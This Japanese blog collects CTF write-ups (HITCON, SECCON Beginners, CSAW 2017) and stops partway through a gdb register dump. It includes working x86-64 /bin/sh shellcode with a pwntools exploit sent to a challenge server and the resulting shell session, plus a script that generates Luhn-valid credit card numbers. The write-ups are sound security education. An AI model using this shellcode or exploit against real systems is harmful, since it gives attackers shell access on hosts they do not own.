最初困ったのが,gdbでstartするとコアダンプするっていう問題.

$ gdb easy_to_say-c7dd6cdf484305f7aaac4fa821796871
Reading symbols from easy_to_say-c7dd6cdf484305f7aaac4fa821796871...(no debugging symbols found)...done.
gdb-peda$ start
No unwaited-for children left.
zsh: abort (core dumped)  gdb -q easy_to_say-c7dd6cdf484305f7aaac4fa821796871

シンボル情報消されていてもステップ実行はできるはずなのに,よくわからない.

結局,runして適当な入力値を与えるとSEGVを起こすので,そこからstartして,あとはひたすらniとsiで探っていった.

すると,

0x555555554990:  xor    ebp,ebp

が開始アドレスとわかったので,ここら辺にブレークポイントをしかけて解析していく.

0x555555554ddf: call   c38 <stdout@@GLIBC_2.2.5-0x2013e8> # input_check(input_value, 0, 0)

入力値チェック的な関数を呼んでいる箇所.

ここから先のルーチンで,入力値が24バイトより大きい場合は24バイトに削り,入力値がユニークではない場合は Invalid input! を表示するルーチンへ飛ばす.

0x555555554e2b: call   rdx

最終的にここでシェルコードを実行するルーチンへ.

ここから先は,全汎用レジスタを初期化した後,入力されたシェルコードを実行するようになっている.

コーディング

一番問題なのは, /bin/sh という文字列の / が重複していること.

よって,最初の / はとあるバイトに置き換えておいて,後でその1バイトのみをxorして元に戻す方針でいく.

    .intel_syntax noprefix
    .global _start
_start:
    mov rbx, 0x68732f6e696203
    xor bl, 0x2c
    pushq rsi
    pushq rbx
    pushq rsp
    popq rdi
    mov al, 0x3b
    syscall

コンパイルして機械語のみを取り出す.ももテクさんの記事が参考になる.

inaz2.hatenablog.com

$ gcc -nostdlib shellcode.s
$ objdump -M intel -d a.out | grep '^ ' | cut -f2 | perl -pe 's/(\w{2})\s+/\\x\1/g > input.txt

gdbにて run < input.txt をし,正しく実行されていることを確認できたら,exploit.pyに書いていく.

#!/usr/bin/env python
from pwn import *

context(os="linux", arch="i386")

"""
00000000004000d4 <_start>:
  4000d4: 48 bb 03 62 69 6e 2f    movabs rbx,0x68732f6e696203
  4000db: 73 68 00
  4000de: 80 f3 2c                xor    bl,0x2c
  4000e1: 56                      push   rsi
  4000e2: 53                      push   rbx
  4000e3: 54                      push   rsp
  4000e4: 5f                      pop    rdi
  4000e5: b0 3b                   mov    al,0x3b
  4000e7: 0f 05                   syscall
"""

def main():
    conn = remote("52.69.40.204", 8361)
    payload = "\x48\xbb\x03\x62\x69\x6e\x2f\x73\x68\x00\x80\xf3\x2c\x56\x53\x54\x5f\xb0\x3b\x0f\x05"

    conn.send(payload)
    conn.interactive()


if __name__ == "__main__":
    main()
$ python exploit.py
[+] Opening connection to 52.69.40.204 on port 8361: Done
[*] Switching to interactive mode
Give me your code :Run !
$ ls -la
total 72
drwxr-xr-x   1 root        root        4096 Nov  1 06:36 .
drwxr-xr-x   1 root        root        4096 Nov  1 06:36 ..
-rwxr-xr-x   1 root        root           0 Nov  1 06:36 .dockerenv
drwxr-xr-x   2 root        root        4096 Sep 15 08:42 bin
drwxr-xr-x   2 root        root        4096 Apr 10  2017 boot
drwxr-xr-x   5 root        root         340 Nov  4 04:40 dev
drwxr-xr-x   1 root        root        4096 Nov  1 06:36 etc
drwxr-xr-x   1 root        root        4096 Nov  1 06:36 home
drwxr-xr-x   1 root        root        4096 Feb 16  2017 lib
drwxr-xr-x   2 root        root        4096 Sep 15 08:42 lib64
drwxr-xr-x   2 root        root        4096 Sep 15 08:42 media
drwxr-xr-x   2 root        root        4096 Sep 15 08:42 mnt
drwxr-xr-x   2 root        root        4096 Sep 15 08:42 opt
dr-xr-xr-x 125 root        root           0 Nov  4 04:40 proc
drwx------   2 root        root        4096 Sep 15 08:42 root
drwxrwxr--   1 root        root        4096 Sep 18 23:31 run
drwxr-xr-x   1 root        root        4096 Sep 18 23:31 sbin
drwxr-xr-x   2 root        root        4096 Sep 15 08:42 srv
dr-xr-xr-x  13 root        root           0 Nov  4 06:16 sys
drwxr-xr--   2 easy_to_say easy_to_say 4096 Oct 23 19:14 tmp
drwxr-xr-x   1 root        root        4096 Sep 15 08:42 usr
drwxr-xr-x   1 root        root        4096 Sep 15 08:42 var
$ cd home
$ ls -la
total 12
drwxr-xr-x 1 root        root        4096 Nov  1 06:36 .
drwxr-xr-x 1 root        root        4096 Nov  1 06:36 ..
drwxr-xr-x 2 easy_to_say easy_to_say 4096 Nov  1 06:35 easy_to_say
$ cd easy_to_say
$ ls -la
total 28
drwxr-xr-x 2 easy_to_say easy_to_say  4096 Nov  1 06:35 .
drwxr-xr-x 1 root        root         4096 Nov  1 06:36 ..
-rwxr-xr-x 1 easy_to_say easy_to_say 10232 Nov  1 06:35 easy_to_say
-rw-r--r-- 1 easy_to_say easy_to_say    43 Nov  1 06:35 flag
-rwxr--r-- 1 easy_to_say easy_to_say    72 Nov  1 06:35 run.sh
$ cat flag
hitcon{sh3llc0d1n9_1s_4_b4by_ch4ll3n93_4u}

プロはすぐbabyっていう.

取り組んだが解けなかった問題

Start (Pwn)

問題文

Have you tried pwntools-ruby?

nc 54.65.72.116 31337

server.rbがリモートで動いていて,与えられたrubyのコードをevalしてくれる.

また,同一ホスト内の31338ポートではstartというバイナリが動いていて,これは入力値をそのまま表示するだけ(?).10秒間でタイムアウトする.

server.rbに,Dirとかいろいろいい感じに使って,ローカルのファイルを読み出せたりはしたんだけど,フラグがどこにも見当たらない.

そもそも,それだとstartが別ポートで動いている必要がないし,やっぱりstartの脆弱性を何らかの方法で突くのかなと思い,やってみるも,どういう脆弱性が存在しているのかさっぱりわからず.

Re: Easy to say (Misc)

問題文

I think you can do better!

nc 13.112.180.65 8361

Easy to sayのバイト数制限が8バイトverっていう激辛シェルコーディング問題.

無理だった.

まとめ

こうしてwriteupを書いていると解法は自明に思えてくるけど,解いている時は以外と思いつかず,REXプレフィックスに悩まされたり,xor ebx, ebxxor bx, bx では挙動が違うことに悩まされたり.( xor bx, bx だとRBXの下位2バイトだけいい感じに変化してくれるのに, xor ebx, ebxだと,その結果が丸々RBXとなってしまう.同様に xor bl, bl では下位1バイトだけ変更できる)

Rev問が1つも解けてないのが痛すぎる.

そろそろ,そこそこ難しい問題も解けるようになる必要がありそう.

SECCON Beginners 2017 仙台 に参加した感想&Writeup(decodeme)

はじめに

誘おうとした友人はフィリピンに連れていかれるらしく,ぼっち参戦してきました.参加理由としては,ずっと行ってみたかったっていうのと,Webわからんっていうのと,SECCONステッカーが欲しかったって感じです.

以下,感想とCTF中に解けなかったバイナリ300のdecodemeのWriteupです.decodemeを帰りの電車の中でやってたら10分でフラグが出てきて,なんでこれ解けなかったんだってなりました.どうも時間が限られてるとプレッシャー的なものが働いて,脳死状態になるっぽくてダメっぽいです.

参加しての感想など

まずはオリエンテーション,そしてWebとForensicsとReversingの講義,その後にれっくすさんの話を聞いて,あとはみんなでワイワイCTFをしてました.

参加人数は60人ほどだったのですが,1位から5位まではステッカーが貰えるということで頑張りました.

CTFではReversingとかを普段やっていることもあって,1位を取ることができました.

スコアボードは見ないように解いていたのですが,運営の方々の声とかで自分が結構上位にいるなとわかりました,そして気づいたら1位になっててビビりました.

f:id:ywkw1717:20170924001220p:plain

自分はバイナリから解いていたのですが,バイナリを解く人が少ないので自分がバイナリをある程度解き終わった後は,ForensicsとWebの問題でそれぞれ解いた人数などが一目瞭然で,どれが簡単そうで難しそうかなどもわかって進めやすかったので,バイナリから解くバイナリアン戦法はオススメです.

decodeme(Writeup)

誰も解いてなかった問題です.

確かCTF中は,xorとかいろんな事やっていて解くのに時間かかりそうだなぁと思ったのですぐにForensicsに切り替えて,その後Webっていう順番で進めてました.

結果,本番中には解けなかったのですが,帰りの電車で見てみたところ,ただxorしてるだけやんけってなって解くことができました.

作問側への配慮で,少しぼかしたことを書きます.

問題としては入力値をある文字数受け取ってからその文字数分のループに入り,各文字とカウンタ変数とのxorを取って,それが"N1v\\F`anfgoy"と等しければctf4b{%s}の中に入れてその文字列を出力するようになっています.

よって,"N1v\\F`anfgoy"という文字列に対してある文字数分ループしてカウンタ変数とのxorを取ってやれば元に戻ります.

自分はPythonで数行のスクリプトを書いて求めました.

flagを一部隠しますが,以下のようなflagになるはずです.

ctf4b{N0t_XXXXXXXr}

まとめ

どの講義も初心者にわかりやすく,とても良質な講義だったと思います.

3つの講義以外にもとても良いことを仰っていて,佳山さんとれっくすさんの話が印象に残っています.

佳山さんの倫理の話では,我々が技術を悪用しないのは法律に関係なく,自分たちの仕事に誇りを持っているからみたいなことを,れっくすさんの話では,CTFは最近難化しているが,知的好奇心が強い人は必ず強くなれる,みたいなことを仰っていました.

あとは,Reversingの講義において,少ない講義時間でなにを教えようとしているか,どのようなことを覚えてもらいたいかなどをReversingの講義を担当したちひろさんに聞くことができました.

Reversingは他の2つと違って,覚えるべきことが多いと思うので,少ない講義時間で教えるのは大変だなぁと思いました.

そしてCTFですが,1時間弱というとても少ない時間でやるCTFは初めてだったので,いい経験になりました.

もっといろいろな人にBeginnersに参加して貰いたいなと思ったので,どんどん他の人にも勧めようと思います.

運営の方々,ありがとうございました!

おまけ

戦利品です.(((懇親会のコーラも頂きました)))

f:id:ywkw1717:20170924001832j:plain

CSAW CTF Qualification Round 2017 Writeup

開催期間(JST)

09/16 AM5:00 ~ 09/18 AM5:00

結果

・チーム名:wabisabi

・得点:851 pt

・順位:得点したチーム中,231/1444

解いた問題

・CVV (Misc100)

・tablEZ (Reversing100)

・Best Router (Forensics200)

・realism (Reversing400)

取り組んだが解けなかった問題

・pilot (Pwn75)

・Missed Registration (Forensics150)

・Gopherz (Reversing350)

はじめに

今回はEKOPARTYのほうと被っていて,一応両方登録はしたんですが,結局CSAWだけやってました.

土曜日は@kobadlveと@phustlyと集まって少しやっていて,日曜は家に引きこもってやってました.

去年のCSAWは576ptで252/1274だったので,一応去年より高い順位は取れたっぽい.

Writeup

CVV (Misc100)

ncで繋ぐと,こんな感じでいろいろな種類のクレジットカード番号を求められます.

$ nc misc.chal.csaw.io 8308
I need a new American Express!
^C

$ nc misc.chal.csaw.io 8308
I need a new Visa!

クレジットカードのパターンは,'MasterCard','Discover','American','Visa'の4つ.

確か「面白くて眠れなくなる数学」とかいう本を以前読んだ時に,クレジットカード番号はとあるアルゴリズムによって決まっているってことを知って,つまりランダムに数字を入力すればいいというわけではなくて,そのアルゴリズムに沿った数字を入力する必要がありそうだなぁとか思いました.

各クレジットカードについてもカード番号の桁数が違っていたり,それぞれカード番号にルールが決まっていたりするので,そこら辺を気を付けながらスクリプトを書きます.

使われているアルゴリズムの名前はLuhnアルゴリズムというものらしく,どうせ実装してる人いるやろって思ったらWikipediaに載ってたり,いろいろな書き方で実装している人がいたので,それをお借りしました.

Luhnアルゴリズム(やってみた Python2.7) · GitHub

雑にスクリプトを書いて回してみたら,Visaのカード番号を毎回失敗するVisaが苦手なスクリプトが生まれてしまって,どうしようかなと思った結果,以下の任意のクレジットカード番号を生成する神サイトを見つけたので,適当に100個くらい生成して,それを使うようにしました.

www.getcreditcardnumbers.com

あとは,何回か正解すると途中から出題が変わって,ある数字で始まるもの,終わるもの,与えられた番号がvalidかinvalidか返すもの,とかにそれぞれスクリプトを雑に対応させました.

与えられた番号がvalidかinvalidか返すやつは,Luhnアルゴリズム自体が全ての間違いを検出できるわけではないっぽくて,2回目で成功しました.

以下,書いたスクリプト.(めっちゃ汚いけど,解ければいいやろと思ってる)

Luhnアルゴリズムでvalidが返るまでランダムに数字を生成して,それを送るってことをやってる.1度使ったものは使えないっぽいけど,これだけ大きければほぼ被ることはないだろうということで,その対策はしてない.

#!/usr/bin/env python
# coding: utf-8
import socket
import random
import itertools

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('misc.chal.csaw.io', 8308))

card_list = ['MasterCard', 'Discover', 'American', 'Visa']

#  https://gist.github.com/oyakata/5955744 より
def check_digits(text):
    """itertools.cycleを使って実装。"""
    def even_value(x):
        y = x * 2
        return y - 9 if y > 9 else y
    values = (int(x) for x in reversed(text))
    switcher = itertools.cycle((lambda x: x, even_value))
    digits = (func(x) for func, x in itertools.izip(switcher, values))
    return sum(digits) % 10 == 0


def main():
    count = 0
    f = open('visa.txt', 'r')
    visa = f.read().split('\n')
    f.close()

    while(True):
        data = s.recv(256)
        print data

        all_data  = data.split(' ')

        card = all_data[4].replace('!','').rstrip()

        if card == 'card':
            card = all_data[8].replace('!', '').rstrip()

        print card

        if card == 'MasterCard':
            while True:
                num = '5' + str(random.randint(100000000000000, 999999999999999))
                print num
                if check_digits(num):
                    break

        elif card == 'Discover':
            while True:
                num = '60110' + str(random.randint(10000000000, 99999999999))
                print num
                if check_digits(num):
                    break

        elif card == 'American':
            while True:
                num = '34' + str(random.randint(1000000000000, 9999999999999))
                print num
                if check_digits(num):
                    break

        elif card == 'Visa':
            print visa[count]
            num = visa[count]

        elif card == 'if':
            card_num = all_data[5]
            if check_digits(card_num):
                num = '1'
            else:
                num = '0'

        else:
            info = all_data[6]

            if len(card) == 4 and info == "starts":
                while True:
                    num = card + str(random.randint(100000000000, 999999999909))
                    print num
                    if check_digits(num):
                        break
            elif len(card) == 1 and info == "ends":
                while True:
                    num = str(random.randint(100000000000000, 999999999999999)) + card
                    print num
                    if check_digits(num):
                        break
            elif len(card) == 4 and info == "ends":
                while True:
                    num = str(random.randint(100000000000, 999999999909)) + card
                    print num
                    if check_digits(num):
                        break

        s.sendall(num + '\n')
        count = count + 1


if __name__ == '__main__':
    main()
$ python solve.py
.
.
.

if
True
Thanks!
I need to know if 7358400188115005 is valid! (0 = No, 1 = Yes)

if
True
Thanks!
I need to know if 8664780687553453 is valid! (0 = No, 1 = Yes)

if
False
Thanks!
I need to know if 1514774928101638 is valid! (0 = No, 1 = Yes)

if
False
Thanks!
I need to know if 9017155594857850 is valid! (0 = No, 1 = Yes)

if
True
Thanks!
I need to know if 3591469017167338 is valid! (0 = No, 1 = Yes)

if
False
Thanks!
flag{ch3ck-exp3rian-dat3-b3for3-us3}

tablEZ (Reversing100)

一番最初に解いたやつ.

問題文

Bobby was talking about tables a bunch, so I made some table stuff. I think this is what he was talking about...
$ ./true
Please enter the flag:
hoge
WRONG

crackme系のやつ.

確か,入力値を元にテーブルからindexを求めて,それを使って再度テーブルから値を取り出す,ってことをやっていた気がします.

以下,解いていた時のメモ.

gdb-peda$ x/80 0x555555755281
0x555555755281 <trans_tbl+1>: 0x056c04c4039b02bb  0x09450822072e064a
0x555555755291 <trans_tbl+17>:    0x0d060cd50bb80a33  0x117910fa0fbc0e0a
0x5555557552a1 <trans_tbl+33>:    0x15bf14b213e11224  0x1960188617ad162c
0x5555557552b1 <trans_tbl+49>:    0x1d591cd81bb61aa4  0x217720941f411e87
0x5555557552c1 <trans_tbl+65>:    0x256124cb234f22f0  0x292a289727c02625
0x5555557552d1 <trans_tbl+81>:    0x2d9f2cc92b082a5c  0x31f930cf2f4e2e43
0x5555557552e1 <trans_tbl+97>:    0x35e73465336f323e  0x39ef38b7373936c5
0x5555557552f1 <trans_tbl+113>:   0x3daa3c2f3bc83ad0  0x4181403c3f473ec7
0x555555755301 <trans_tbl+129>:   0x45a644d343494232  0x49404858472b4696
0x555555755311 <trans_tbl+145>:   0x4d1a4cee4b9c4af1  0x518050d64fc64e5b
0x555555755321 <trans_tbl+161>:   0x553d549a536d522d  0x59e05884579356a7
0x555555755331 <trans_tbl+177>:   0x5d095cb95b3b5a12  0x614860995fba5e69
0x555555755341 <trans_tbl+193>:   0x6582647c63b16273  0x69fb689d672766be
0x555555755351 <trans_tbl+209>:   0x6db36cf46b7e6a67  0x711b705f6fc26e05
0x555555755361 <trans_tbl+225>:   0x7511747173237254  0x796878a577d27630
0x555555755371 <trans_tbl+241>:   0x7d7a7cf57b3f7a9e  0x8185800c7f0b7ece
0x555555755381 <trans_tbl+257>:   0x858e845e836382de  0x89da886a87fe86bd
0x555555755391 <trans_tbl+273>:   0x8dac8ce88b888a26  0x91f690a88f628e03
0x5555557553a1 <trans_tbl+289>:   0x95c3946b937592f7  0x998f98e697519646
0x5555557553b1 <trans_tbl+305>:   0x9d919c5a9b769a28  0xa152a0449f1f9eec
0x5555557553c1 <trans_tbl+321>:   0xa53aa48ba3fca201  0xa910a816a7a3a6a1
0x5555557553d1 <trans_tbl+337>:   0xad95accaab50aa14  0xb10eb035af4bae92
0x5555557553e1 <trans_tbl+353>:   0xb55db41db320b2b5  0xb90fb86eb7e2b6c1
0x5555557553f1 <trans_tbl+369>:   0xbdd9bcd4bb90baed  0xc157c098bfddbe42
0x555555755401 <trans_tbl+385>:   0xc556c478c319c237  0xc904c8d1c774c6af
0x555555755411 <trans_tbl+401>:   0xcd4ccce5cb55ca29  0xd1dbd089cff2cea0
0x555555755421 <trans_tbl+417>:   0xd5ead483d338d2e4  0xd98cd8dcd707d617
0x555555755431 <trans_tbl+433>:   0xdde9dc7bdbb4da8a  0xe10de015dfebdeff
0x555555755441 <trans_tbl+449>:   0xe534e4f3e3a2e202  0xe913e8f8e718e6cc
0x555555755451 <trans_tbl+465>:   0xed21ecaeeb7fea8d  0xf170f04defcdeee3
0x555555755461 <trans_tbl+481>:   0xf572f4abf3fdf253  0xf9a9f866f71cf664
0x555555755471 <trans_tbl+497>:   0xfddffcd7fb1efab0  0xe0000031ff7dfe36


0x5555555549c1 <main+289>:    cmp    QWORD PTR [rbp-0xc8],0x25
FLAGは0x25文字(37文字)


This is the flag.
gdb-peda$ x/30 0x7fffffffcac0
0x7fffffffcac0: 0xb1e711 f59d73b327  0x30f4f9f9b399beb3
0x7fffffffcad0: 0xb19965237399711b  0xf9279923be111165
0x7fffffffcae0: 0x000000 ce65059923

逆の処理を書くより,入力値を与えてテーブル作って,そこからflagを求めたほうが早そうなので,その方法でやりました.

最近バイトでRubyばっかりなのでRubyで書いてみた.

string = "d0efb739c5e7656f3ef999cef53b12e08493a73d9a6d2d80d6c65b1aee9cf140582b96a6d349323f9e68a5d230117123541b5fc205b3f47e67fb9d27be827cb173"
char = (('a'..'z').to_a.join + ('A'..'Z').to_a.join + '{}_' + ('0'..'9').to_a.join)

list1 = string.scan(/.{1,2}/).reverse
list2 = char.scan(/.{1,1}/)
table = {}

list1.zip(list2).each do |val1, val2|
  table.store(val1, val2)
end

flag_str  = "ce65059923f9279923be111165b19965237399711b30f4f9f9b399beb3b1e711f59d73b327"
flag_list = flag_str.scan(/.{1,2}/).reverse
flag = ""

flag_list.each do |val|
  flag = flag + table[val].to_s
end

puts flag
$ ruby solve.rb
flag{t4ble_l00kups_ar3_b3tter_f0r_m3}

Best Router (Forensics200)

問題文

http://forensics.chal.csaw.io:3287

NOTE: This will expand to ~16GB!

解いているチームが多かったのでできそうだなぁとは思ってたのですが,16GBも容量がなかったので,土曜家に帰ってきてからDesktopのほうで解いたやつ.

与えられたbest_router.tar.gzを解凍すると,14.5GBのイメージファイルが出てきます.

FTK Imagerで解けそうなので,開いてみる.

f:id:ywkw1717:20170918145543p:plain

いろいろありそうだけど,問題文を思い出してみる.

ログインフォームのURLが与えられているので,これにログインできるとflagが出そう.

f:id:ywkw1717:20170918150745p:plain

/var/wwwが怪しそうなので見てみるとビンゴ.

f:id:ywkw1717:20170918150209p:plain

flag.txtは空でここからは見れないので,やっぱり与えられたURLにログインする必要がありそう.

f:id:ywkw1717:20170918150326p:plain

username:admin

psassword:iforgotaboutthemathtest

でログインするとflagが貰える.

f:id:ywkw1717:20170918150838p:plain

realism (Reversing400)

高得点の解きたいなぁと思って,rev問見てたら数十人が解いていたのでやってみた.

問題文

Did you know that x86 is really old? I found a really old Master Boot Record that I thought was quite interesting! At least, I think it's really old...

qemu-system-i386 -drive format=raw,file=main.bin

QEMU初めて使った.

与えられたmain.binはブートセクタ.

与えれらたコマンド通りにmain.binを起動してみると,以下のような画面が出てきて,またこれもcrackme系の問題.

f:id:ywkw1717:20170918151711p:plain

適当に入力すると,WRONG FLAG.

f:id:ywkw1717:20170918152515p:plain

ブートセクタは512バイトで読むべきコード自体は少ないのですが,どう解析したらいいかわからなくて困った.

ググってたらndisasmでできるよ,みたいなのを見つけて逆アセンブルしたらそれっぽく出てきたけど,やっぱり動的解析しないと厳しそう.

めっちゃ調べていろいろやってみたら,以下のようにして解析できた.

gdbオプション付きでQEMUを起動.

$ qemu-system-i386 -drive format=raw,file=main.bin -S -gdb tcp::1234

別terminalにてgdbを起動して,set architecturetarget remoteでそれぞれ指定.

ブートセクタは0x7C00にロードされるらしいので,そこにブレークポイントをしかける.

$ gdb
gdb-peda$ set architecture i8086
gdb-peda$ target remote localhost:1234
gdb-peda$ b *0x7c00

pedaのプロンプトは出ているのに使えなかったので,ノーマルなgdbでノーマルなコマンドで解析する.

最初の4文字が"flag"かどうかチェックしている部分.入力値の長さのチェックはこれの前にある.

0x7c6f:  cmp    DWORD PTR ds:0x1234,0x67616c66
0x7c78:    jne    0x7d4d

その後,入力値チェックがある.あとはここを読んで求解処理を書くだけ.

0x7c7c:  movaps xmm0,XMMWORD PTR ds:0x1238
0x7c81:    movaps xmm5,XMMWORD PTR ds:0x7c00
0x7c86:    pshufd xmm0,xmm0,0x1e
0x7c8b:    mov    si,0x8
0x7c8e:    movaps xmm2,xmm0
0x7c91:    andps  xmm2,XMMWORD PTR [si+0x7d90]
0x7c96:    psadbw xmm5,xmm2
0x7c9a:    movaps XMMWORD PTR ds:0x1268,xmm5
0x7c9f:    mov    di,WORD PTR ds:0x1268
0x7ca3:    shl    edi,0x10
0x7ca7:    mov    di,WORD PTR ds:0x1270
0x7cab:    mov    dx,si
0x7cad:    dec    dx
0x7cae:    add    dx,dx
0x7cb0:    add    dx,dx
0x7cb2:    cmp    edi,DWORD PTR [edx+0x7da8]
0x7cba:    jne    0x7d4d
0x7cbe:    dec    si
0x7cbf:    test   si,si # If si is 0, finish.
0x7cc1:    jne    0x7c8e

8回ループして入力値チェックしている.間違っていたら即Wrong.

最初にxmm0レジスタに読み込んだ入力値をpshufd命令でシャッフルしている.

0x7c86: pshufd xmm0,xmm0,0x1e

このpshufd命令までが初期化っぽい.

その後,andps命令でシャッフルされた入力値をマスクする.(16バイトの内,ある2バイトを0にする.この0にする位置は徐々にずれていく)

0x7c91: andps  xmm2,XMMWORD PTR [si+0x7d90]

そして,マスクした入力値とxmm5レジスタを使ってpsadbw命令で差の絶対値を取ったり足したりする.(このxmm5レジスタの値は初期値だけ決まっていて,あとはpsadbwで求まった値を次の計算でも使う)

0x7c96: psadbw xmm5,xmm2

psadbw命令は以下がわかりやすい.

http://www.officedaytime.com/tips/simdimg/si.php?f=psadbw

その後,求まった値を使って8バイトの数値を作って,それが特定の値と等しいかどうかチェックしている.

1回目と2回目で各命令を実行したときのレジスタの値とかを逐一調べてメモしてた.

2回目の値も調べるために,バイナリ本体にパッチを当てちゃうと便利.

この部分を

0x7cba: jne    0x7d4d

以下のように書き換えて,オペコードをjeにする.

f:id:ywkw1717:20170918162540j:plain

解いていた時のメモ.

Initialize
=======================================================================================
=> 0x7c6f:   cmp    DWORD PTR ds:0x1234,0x67616c66
   0x7c78:  jne    0x7d4d
   0x7c7c:  movaps xmm0,XMMWORD PTR ds:0x1238

gdb-peda$ p $xmm0
$2 = {
  v4_float = {12.0784864, 12.0784311, 12.0784311, 1.60549888e+37}, 
  v2_double = {2261634.5098039485, 2.2040338477057924e+295}, 
  v16_int8 = {0x7b, 0x41 <repeats 14 times>, 0x7d}, 
  v8_int16 = {0x417b, 0x4141, 0x4141, 0x4141, 0x4141, 0x4141, 0x4141, 0x7d41}, 
  v4_int32 = {0x4141417b, 0x41414141, 0x41414141, 0x7d414141}, 
  v2_int64 = {0x414141414141417b, 0x7d41414141414141}, 
  uint128 = 0x7d41414141414141414141414141417b
}

   0x7c81:  movaps xmm5,XMMWORD PTR ds:0x7c00

gdb-peda$ p $xmm5
$3 = {
  v4_float = {-134298496, -2.50091934, -1.48039995e-36, 1.93815862e-18}, 
  v2_double = {-8.0294250547975565, 1.241726856953559e-144}, 
  v16_int8 = {0xb8, 0x13, 0x0, 0xcd, 0x10, 0xf, 0x20, 0xc0, 0x83, 0xe0, 0xfb, 0x83, 0xc8, 0x2, 0xf, 0x22}, 
  v8_int16 = {0x13b8, 0xcd00, 0xf10, 0xc020, 0xe083, 0x83fb, 0x2c8, 0x220f}, 
  v4_int32 = {0xcd0013b8, 0xc0200f10, 0x83fbe083, 0x220f02c8}, 
  v2_int64 = {0xc0200f10cd0013b8, 0x220f02c883fbe083}, 
  uint128 = 0x220f02c883fbe083c0200f10cd0013b8
}

   0x7c86:  pshufd xmm0,xmm0,0x1e

gdb-peda$ p $xmm0
$4 = {
  v4_float = {12.0784311, 1.60549888e+37, 12.0784311, 12.0784864}, 
  v2_double = {2.2040338477057924e+295, 2261750.5098039214}, 
  v16_int8 = {0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x7d, 0x41, 0x41, 0x41, 0x41, 0x7b, 0x41, 0x41, 0x41}, 
  v8_int16 = {0x4141, 0x4141, 0x4141, 0x7d41, 0x4141, 0x4141, 0x417b, 0x4141}, 
  v4_int32 = {0x41414141, 0x7d414141, 0x41414141, 0x4141417b}, 
  v2_int64 = {0x7d41414141414141, 0x4141417b41414141}, 
  uint128 = 0x4141417b414141417d41414141414141
}

   0x7c8b:  mov    si,0x8
=======================================================================================


Loop
=======================================================================================
   0x7c8e:  movaps xmm2,xmm0

gdb-peda$ p $xmm2
$6 = {
  v4_float = {12.0784311, 1.60549888e+37, 12.0784311, 12.0784864}, 
  v2_double = {2.2040338477057924e+295, 2261750.5098039214}, 
  v16_int8 = {0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x7d, 0x41, 0x41, 0x41, 0x41, 0x7b, 0x41, 0x41, 0x41}, 
  v8_int16 = {0x4141, 0x4141, 0x4141, 0x7d41, 0x4141, 0x4141, 0x417b, 0x4141}, 
  v4_int32 = {0x41414141, 0x7d414141, 0x41414141, 0x4141417b}, 
  v2_int64 = {0x7d41414141414141, 0x4141417b41414141}, 
  uint128 = 0x4141417b414141417d41414141414141
}

   0x7c91:  andps  xmm2,XMMWORD PTR [si+0x7d90] # first, si is 0x8. second, si is 0x7.

0 の位置が徐々にずれていく.

First: gdb-peda$ x/30wx $si+0x7d90
0x7d98: 0xffffff00  0xffffffff  0xffffff00  0xffffffff
0x7da8: 0x02110270  0x02290255  0x025e0291  0x01f90233
0x7db8: 0x027b0278  0x02090221  0x0290025d  0x02df028f
0x7dc8: 0x00000014  0x00000000  0x00000000  0x00000000
0x7dd8: 0x00000000  0x00000000  0x00000000  0x00000000
0x7de8: 0x00000000  0x00000000  0x00000000  0x00000000
0x7df8: 0x00000000  0xaa550000  0x00000000  0x00000000
0x7e08: 0x00000000  0x00000000

Second: gdb-peda$ x/20wx $si+0x7d90
0x7d97: 0xffff00ff  0xffffffff  0xffff00ff  0xffffffff
0x7da7: 0x110270ff  0x29025502  0x5e029102  0xf9023302
0x7db7: 0x7b027801  0x09022102  0x90025d02  0xdf028f02
0x7dc7: 0x00001402  0x00000000  0x00000000  0x00000000
0x7dd7: 0x00000000  0x00000000  0x00000000  0x00000000


First: gdb-peda$ p $xmm2
$7 = {
  v4_float = {12.0783691, 1.60549888e+37, 12.0783691, 12.0784864}, 
  v2_double = {2.2040338477057629e+295, 2261750.5098038912}, 
  v16_int8 = {0x0, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x7d, 0x0, 0x41, 0x41, 0x41, 0x7b, 0x41, 0x41, 0x41}, 
  v8_int16 = {0x4100, 0x4141, 0x4141, 0x7d41, 0x4100, 0x4141, 0x417b, 0x4141}, 
  v4_int32 = {0x41414100, 0x7d414141, 0x41414100, 0x4141417b}, 
  v2_int64 = {0x7d41414141414100, 0x4141417b41414100}, 
  uint128 = 0x4141417b414141007d41414141414100
}

Second: gdb-peda$ p $xmm2
$6 = {
  v4_float = {12.062562, 1.60549888e+37, 12.062562, 12.0784864}, 
  v2_double = {2.2040338476982412e+295, 2261750.5097961728}, 
  v16_int8 = {0x41, 0x0, 0x41, 0x41, 0x41, 0x41, 0x41, 0x7d, 0x41, 0x0, 0x41, 0x41, 0x7b, 0x41, 0x41, 0x41}, 
  v8_int16 = {0x41, 0x4141, 0x4141, 0x7d41, 0x41, 0x4141, 0x417b, 0x4141}, 
  v4_int32 = {0x41410041, 0x7d414141, 0x41410041, 0x4141417b}, 
  v2_int64 = {0x7d41414141410041, 0x4141417b41410041}, 
  uint128 = 0x4141417b414100417d41414141410041
}

   0x7c96:  psadbw xmm5,xmm2

First: gdb-peda$ p $xmm5
$9 = {
  v4_float = {8.88423226e-43, 0, 1.06919073e-42, 0}, 
  v2_double = {3.1323761946335031e-321, 3.7697208777687111e-321}, 
  v16_int8 = {0x7a, 0x2, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0xfb, 0x2, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}, 
  v8_int16 = {0x27a, 0x0, 0x0, 0x0, 0x2fb, 0x0, 0x0, 0x0}, 
  v4_int32 = {0x27a, 0x0, 0x2fb, 0x0}, 
  v2_int64 = {0x27a, 0x2fb}, 
  uint128 = 0x00000000000002fb000000000000027a
}
====================
>>> hex(0x22 - 0x41)
'-0x1f'
>>> hex(0x0f - 0x41)
'-0x32'
>>> hex(0x02 - 0x41)
'-0x3f'
>>> hex(0xc8 - 0x7b)
'0x4d'
>>> hex(0x83 - 0x41)
'0x42'
>>> hex(0xfb - 0x41)
'0xba'
>>> hex(0xe0 - 0x41)
'0x9f'
>>> hex(0x83 - 0x00)
'0x83'
>>> hex(0x1f + 0x32 + 0x3f + 0x4d + 0x42 + 0xba + 0x9f + 0x83)
'0x2fb'
====================

Second: gdb-peda$ p $xmm5
$7 = {
  v4_float = {7.13260918e-43, 0, 8.91225823e-43, 0}, 
  v2_double = {2.5147941373319449e-321, 3.142257507550328e-321}, 
